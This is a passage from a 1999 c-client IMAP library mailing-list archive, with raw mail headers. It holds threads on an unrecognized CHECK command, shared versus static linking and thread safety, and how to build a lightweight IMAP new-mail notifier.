SMTP id CAA12601; Tue, 13 Jul 1999 02:16:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA23208 for ; Tue, 13 Jul 1999 02:15:55 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (trebor@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id CAA23733 for ; Tue, 13 Jul 1999 02:15:55 -0700 Message-Id: Date: Tue, 13 Jul 1999 02:15:41 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Karsten Ballueder Cc: c-client Subject: Re: Unrecognized command: CHECK In-Reply-To: <199907130856.JAA20050@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 13 Jul 1999, Karsten Ballueder wrote: > One user just reported that his IMAP server complains about > "CHECK" being an unrecognised command. If "CHECK" is an unrecognized command, then the IMAP session probably does not have a mailbox selected. From pinedev@shivax2.cac.washington.edu Wed Jul 14 07:15:54 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jul 1999 07:15:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA30156 for ; Wed, 14 Jul 1999 07:15:51 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA21560; Wed, 14 Jul 1999 07:15:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA02924; Wed, 14 Jul 1999 07:14:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA49724 for ; Wed, 14 Jul 1999 07:12:58 -0700 Received: from [208.18.196.227] ([208.18.196.227]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with SMTP id HAA18829 for ; Wed, 14 Jul 1999 07:12:57 -0700 Received: from jade.dunsirn.com by [208.18.196.227] via smtpd (for mxu4.u.washington.edu [140.142.33.8]) with SMTP; 14 Jul 1999 15:29:40 UT Received: from jade.dunsirn.com ([129.0.10.14]) by jade.dunsirn.com (8.9.2/8.9.2) with ESMTP id JAA05341 for ; Wed, 14 Jul 1999 09:12:51 -0500 (CDT) Message-Id: <378C9A28.DBA95EFC@jade.dunsirn.com> Date: Wed, 14 Jul 1999 09:09:44 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Nickel To: c-client@u.washington.edu Subject: Shared Library vs Static Library Linking MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To all, We are going to be rolling out an IMAP/Netscape based email solution at my company. After trolling through deja.com looking for IMAP performance tuning hints, I came across a discussion about building the c-client library (and consequently the IMAP daemon and related tools) as a Shared Library rather than a Static Library. My question: is building the c-client libray as Shared and linking applications to it as such going to give me a benefit over Static linking. Here are our estimates of user utilization: o 4 servers with less than 100 users per server. o Each user will most likely start their imap client software (Netscape), log into the server, and leave the client software running for the entire day. I have successfully built the c-client library as Shared and linked all relevant applications to it. The executibles are small and everything seems to work just great. Architecture: o 4 Dell PowerEdge 1300's o 64mb ram o 4gb SCSI harddrive for the OS and apps o 9gb SCSI harddrive for the filesystem mounted under /home o clients: Netscape 4.6 o IMAP 4.6 - beta o mbx - high performance mail box format Thanks for your insight! Mark Nickel (Ok, so I'm .sig-less) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 14 13:13:57 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jul 1999 13:13:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA05326 for ; Wed, 14 Jul 1999 13:13:56 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA03755; Wed, 14 Jul 1999 13:13:54 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA05706; Wed, 14 Jul 1999 13:13:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA24076 for ; Wed, 14 Jul 1999 13:11:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pcs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA05784 for ; Wed, 14 Jul 1999 13:11:16 -0700 Message-Id: Date: Wed, 14 Jul 1999 13:10:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Nickel Cc: c-client@u.washington.edu Subject: Re: Shared Library vs Static Library Linking In-Reply-To: <378C9A28.DBA95EFC@jade.dunsirn.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 14 Jul 1999, Mark Nickel wrote: > My question: is building the c-client libray as Shared and linking > applications to it as such going to give me a benefit over Static > linking. The only benefit will be if you run more than one c-client application. If the only application you run is imapd, then I doubt that you'll get any benefit since all the imapd processes will share their code pages. In fact, you may have (extremely) slight additional overhead. Basically, the memory savings is (n-1)*(size of c-client) where n is the number of different c-client applications running simultaneously. For example, if c-client is 500KB, and you have 50 imapds and 20 Pines, then you'll save 500KB. This presumes a decent implementation of UNIX that shares code pages. If code pages aren't shared, then the savings would be much more. I wouldn't have much respect for a UNIX system that has shared libraries but not shared code pages though... ;-) From pinedev@shivax2.cac.washington.edu Wed Jul 14 13:31:31 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jul 1999 13:31:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA05725 for ; Wed, 14 Jul 1999 13:31:29 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA04249; Wed, 14 Jul 1999 13:31:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA06841; Wed, 14 Jul 1999 13:29:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA60424 for ; Wed, 14 Jul 1999 13:27:14 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA18950 for ; Wed, 14 Jul 1999 13:27:12 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id PAA09149 for ; Wed, 14 Jul 1999 15:18:09 -0400 Message-Id: <023501bece37$10104f20$2601a8c0@voicerite> Date: Wed, 14 Jul 1999 16:25:49 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: Subject: Re: Shared Library vs Static Library Linking References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 14 Jul 1999, Mark Nickel wrote: > > My question: is building the c-client libray as Shared and linking > > applications to it as such going to give me a benefit over Static > > linking. > The only benefit will be if you run more than one c-client application. Sorry if I sound foolish, but still: as we know, c-client is not thread-safe; how can it be that some shared (really shared, with shared code pages) library is NOT thread safe? I would say that it's impossible. Am I missing something? From pinedev@shivax2.cac.washington.edu Wed Jul 14 13:55:48 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jul 1999 13:55:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA06212 for ; Wed, 14 Jul 1999 13:55:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id NAA04133; Wed, 14 Jul 1999 13:55:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA08086; Wed, 14 Jul 1999 13:55:04 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA15998 for ; Wed, 14 Jul 1999 13:53:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wambold@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA22969 for ; Wed, 14 Jul 1999 13:53:20 -0700 Message-Id: Date: Wed, 14 Jul 1999 13:53:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alex Shvedov Cc: c-client@u.washington.edu Subject: Re: Shared Library vs Static Library Linking In-Reply-To: <023501bece37$10104f20$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 14 Jul 1999, Alex Shvedov wrote: > Sorry if I sound foolish, but still: as we know, c-client is not > thread-safe; how can it be that some shared (really shared, with > shared code pages) library is NOT thread safe? > I would say that it's impossible. > Am I missing something? The issue of "thread safe" has to do with global variables; in a multi-threaded application global variables are shared. In many cases, this is not intended behavior (most of today's generation of programmers have never heard of shared writeable data or how such a thing could possibly be useful). This is not the case with a shared library, which shares only the non-writeable code pages. Strictly speaking, c-client *is* thread-safe -- the globals in c-client are *intended* to be shared (yes!). However, certain of the C library routines called by c-client are not thread-safe in most versions of C library, which in turn renders c-client non thread-safe. For example, strtok() in most C libraries stores its state in a global variable. A thread-aware version of strtok() would maintain a separate state per thread (and do this for all similar functions). Unfortunately, most C libraries are written by unimaginative programmers and require that you use an alternative version of strtok() (with a name like strtok_r()) which takes an extra argument pointing to an automatic that holds the state. From pinedev@shivax2.cac.washington.edu Wed Jul 14 14:22:57 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jul 1999 14:22:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA05779 for ; Wed, 14 Jul 1999 14:22:56 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA04943; Wed, 14 Jul 1999 14:22:54 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA22114; Wed, 14 Jul 1999 14:22:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA28448 for ; Wed, 14 Jul 1999 14:20:36 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id OAA16132 for ; Wed, 14 Jul 1999 14:20:34 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id QAA19494 for ; Wed, 14 Jul 1999 16:11:36 -0400 Message-Id: <025501bece3e$877441f0$2601a8c0@voicerite> Date: Wed, 14 Jul 1999 17:19:16 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: Subject: Re: Shared Library vs Static Library Linking References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > The issue of "thread safe" has to do with global variables; A little more than that. > This is not the case with a shared library, which shares only the non-writeable code pages. Correct, but - > Strictly speaking, c-client *is* thread-safe -- the globals in c-client are *intended* to be shared (yes!). I already posted my own empirical results and I know that c-client is not thread-safe. Text-book "strtok" case is only part of the c-client problems; namely, gethostbyname is to be replaced by gethostbyname_r, if any, due to internal statics (not only globals make life non-reenterable). Making c-client thread-safe is not a VERY big enterprise; actually, I just serialized it by mutexes in 3 places and 3-5 threads I used for my tests started working together fine. This, of course, is a dumb solution; real one can be built through POSIX pthread_setspecific(...) calls. I worked under AIX 4.2, but problems I found now are not OS-related at all. From pinedev@shivax2.cac.washington.edu Thu Jul 15 14:24:23 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Jul 1999 14:24:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA31232 for ; Thu, 15 Jul 1999 14:24:21 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA01782; Thu, 15 Jul 1999 14:24:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA15840; Thu, 15 Jul 1999 14:23:38 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA28070 for ; Thu, 15 Jul 1999 14:20:46 -0700 Received: from smtprich.nortel.com (smtprich.nortel.com [192.135.215.8]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id OAA14911 for ; Thu, 15 Jul 1999 14:20:45 -0700 Received: from zcard015.ca.nortel.com (actually zcard015) by smtprich.nortel.com; Thu, 15 Jul 1999 16:18:58 -0500 Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2448.0) id <36CD6NPH>; Thu, 15 Jul 1999 17:18:59 -0400 Message-Id: Date: Thu, 15 Jul 1999 17:18:42 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Lap Luu" To: "'Mark Nickel'" , c-client@u.washington.edu Subject: RE: Shared Library vs Static Library Linking MIME-Version: 1.0 Content-Type: text/plain X-Orig: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I assume that you imply the question of shared libary vs static libary under Windows environment. My suggestion is that the shared libary version definite gives you more advantages over the static version of C-client libary. Lap > -----Original Message----- > From: Mark Nickel [SMTP:mnickel@mail.dunsirn.com] > Sent: Wednesday, July 14, 1999 10:10 AM > To: c-client@u.washington.edu > Subject: Shared Library vs Static Library Linking > > > To all, > > We are going to be rolling out an IMAP/Netscape based email solution at > my company. After trolling through deja.com looking for IMAP > performance tuning hints, I came across a discussion about building the > c-client library (and consequently the IMAP daemon and related tools) as > a Shared Library rather than a Static Library. > > My question: is building the c-client libray as Shared and linking > applications to it as such going to give me a benefit over Static > linking. > > Here are our estimates of user utilization: > o 4 servers with less than 100 users per server. > o Each user will most likely start their imap client software > (Netscape), log into > the server, and leave the client software running for the entire > day. > > I have successfully built the c-client library as Shared and linked all > relevant applications to it. The executibles are small and everything > seems to work just great. > > Architecture: > o 4 Dell PowerEdge 1300's > o 64mb ram > o 4gb SCSI harddrive for the OS and apps > o 9gb SCSI harddrive for the filesystem mounted under /home > > o clients: Netscape 4.6 > o IMAP 4.6 - beta > o mbx - high performance mail box format > > Thanks for your insight! > > Mark Nickel > (Ok, so I'm .sig-less) > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 15 15:35:54 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Jul 1999 15:35:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA32527 for ; Thu, 15 Jul 1999 15:35:53 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA02811; Thu, 15 Jul 1999 15:35:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA18994; Thu, 15 Jul 1999 15:35:17 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA20042 for ; Thu, 15 Jul 1999 15:34:36 -0700 Received: from [208.18.196.227] ([208.18.196.227]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with SMTP id PAA20171 for ; Thu, 15 Jul 1999 15:34:35 -0700 Received: from jade.dunsirn.com by [208.18.196.227] via smtpd (for mxu1.u.washington.edu [140.142.32.8]) with SMTP; 15 Jul 1999 23:51:08 UT Received: from jade.dunsirn.com ([129.0.10.14]) by jade.dunsirn.com (8.9.2/8.9.2) with ESMTP id RAA19137 for ; Thu, 15 Jul 1999 17:34:30 -0500 (CDT) Message-Id: <378E613B.F3B48E1D@jade.dunsirn.com> Date: Thu, 15 Jul 1999 17:31:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Nickel To: c-client@u.washington.edu Subject: Re: Shared Library vs Static Library Linking References: <378C9A28.DBA95EFC@jade.dunsirn.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ooops... A little snafu here... Our operating system of choice will be Redhat 6.0 with my custom built version of imap-4.6-Beta to use the c-client as a shared library. We may be scrapping the whole "home grown" method of delivering a messaging solution because of obstacles with integrating sendmail and LDAP. As a result, we may go with CommuniGate Pro from Stalker software or another one I saw on freshmeat.net. This solution will still give us problems with unified Directory Services as CommuniGate Pro is great for organizations that have one server for all user accounts that are local to that host. At least from what I'm able to discover, there's no real maildrop capability if the user account is not on the server where CommuniGate is running. I hate to give up on the IMAP+sendmail+LDAP but I'm starting to feel the time crunch to get off of cc:Mail.... Thanks again for your insight's Mark Nickel Mark Nickel wrote: > To all, > > We are going to be rolling out an IMAP/Netscape based email solution at > my company. After trolling through deja.com looking for IMAP > performance tuning hints, I came across a discussion about building the > c-client library (and consequently the IMAP daemon and related tools) as > a Shared Library rather than a Static Library. > > My question: is building the c-client libray as Shared and linking > applications to it as such going to give me a benefit over Static > linking. > > Here are our estimates of user utilization: > o 4 servers with less than 100 users per server. > o Each user will most likely start their imap client software > (Netscape), log into > the server, and leave the client software running for the entire > day. > > I have successfully built the c-client library as Shared and linked all > relevant applications to it. The executibles are small and everything > seems to work just great. > > Architecture: > o 4 Dell PowerEdge 1300's > o 64mb ram > o 4gb SCSI harddrive for the OS and apps > o 9gb SCSI harddrive for the filesystem mounted under /home > > o clients: Netscape 4.6 > o IMAP 4.6 - beta > o mbx - high performance mail box format > > Thanks for your insight! > > Mark Nickel > (Ok, so I'm .sig-less) From pinedev@shivax2.cac.washington.edu Fri Jul 16 09:56:49 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Jul 1999 09:56:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA15806 for ; Fri, 16 Jul 1999 09:56:48 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA21943; Fri, 16 Jul 1999 09:56:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA27002; Fri, 16 Jul 1999 09:56:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA40842 for ; Fri, 16 Jul 1999 09:55:00 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id JAA25161 for ; Fri, 16 Jul 1999 09:54:58 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id LAA29845 for ; Fri, 16 Jul 1999 11:45:59 -0400 Message-Id: <013b01becfab$bd77b9d0$2601a8c0@voicerite> Date: Fri, 16 Jul 1999 12:52:44 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: Subject: Re: Re[2]: Shared Library vs Static Library Linking References: ,<025501bece3e$877441f0$2601a8c0@voicerite> <199907160956.KAA18715@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Could you mail me your patches or souces of the thread-safe c-client lib? I thought that I did that already... I'll have to find that stuff once again, so wait a little, OK? From pinedev@shivax2.cac.washington.edu Sun Jul 18 18:07:12 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Jul 1999 18:07:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id SAA23264 for ; Sun, 18 Jul 1999 18:07:11 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id SAA03485; Sun, 18 Jul 1999 18:07:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA04381; Sun, 18 Jul 1999 18:04:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA60296 for ; Sun, 18 Jul 1999 18:03:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id SAA32156 for ; Sun, 18 Jul 1999 18:03:34 -0700 Received: from funston.cs.unc.edu (IDENT:culver@zerbina.cs.unc.edu [152.2.129.157]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id SAA04923 for ; Sun, 18 Jul 1999 18:03:32 -0700 Received: (from culver@localhost) by funston.cs.unc.edu (8.8.7/8.8.7) id VAA21702; Sun, 18 Jul 1999 21:04:13 -0400 Message-Id: <14226.31110.141485.504006@funston.cs.unc.edu> Date: Sun, 18 Jul 1999 21:04:06 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Culver To: c-client Interest List Subject: What's the Right Way to do imap xbiff? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Attribution: tdc X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I using c-client to add imap capability to xbuffy, and I'd like to solicit some opinions. Xbuffy is the same idea as xbiff, except that it shows the number of "new" messages instead of just their absence/presence, and is also willing to display the From: and Subject: lines. I've perused the archives of this list, and looked briefly at comp.mail.imap, and I've noticed lots of talk about checking for new mail, but I haven't seen anybody lay down the law for how a lightweight, non-mail-client xbiff program should work. I have narrowed it down to three designs that seem reasonable to me. First let me state my assumptions. a. xbuffy will have concurrent (though read-only) access with at least one other client. (For instance, I use emacs/VM, which currently treats an imap server as a pop server.) b. xbuffy should minimize consumption of server resources. c. xbuffy is running on a unix-like system. The possibilities: 1. Use mail_search_full() to count unseen or recent messages. 2. Start with mail_search_full(), then just ping for a while. As stream->nmsgs increases, assume these are unseen. The new message reports become inaccurate if you delete messages, but if you're deleting messages you're probably not watching xbuffy so it doesn't matter. Every once in a while, mail_search_full() to correct the approximation. 3. Use mail_status(). Don't mail_open(). I have seen Mark C. recommend against #3 on this mailing list. My current favorite is #2 as mail_ping() seems like the lightest-weight c-client call. Other issues... if your biff frequency is high enough, you should keep the connection open; if low enough, you should open a new connection, count, and close each time. Where's the cutoff? Highly system-dependent, of course, but any wisdom? Lastly, is it a security risk to cache a password in memory (under assumption (c) above)? I suppose I could kerberize xbuffy. I could also rewrite it as a Java application or Word macro. Thanks for entertaining all my questions, Tim Culver -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jul 18 19:00:40 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Jul 1999 19:00:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA23599 for ; Sun, 18 Jul 1999 19:00:39 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id TAA05627; Sun, 18 Jul 1999 19:00:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA16097; Sun, 18 Jul 1999 18:57:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA53918 for ; Sun, 18 Jul 1999 18:56:44 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id SAA27879 for ; Sun, 18 Jul 1999 18:56:44 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU 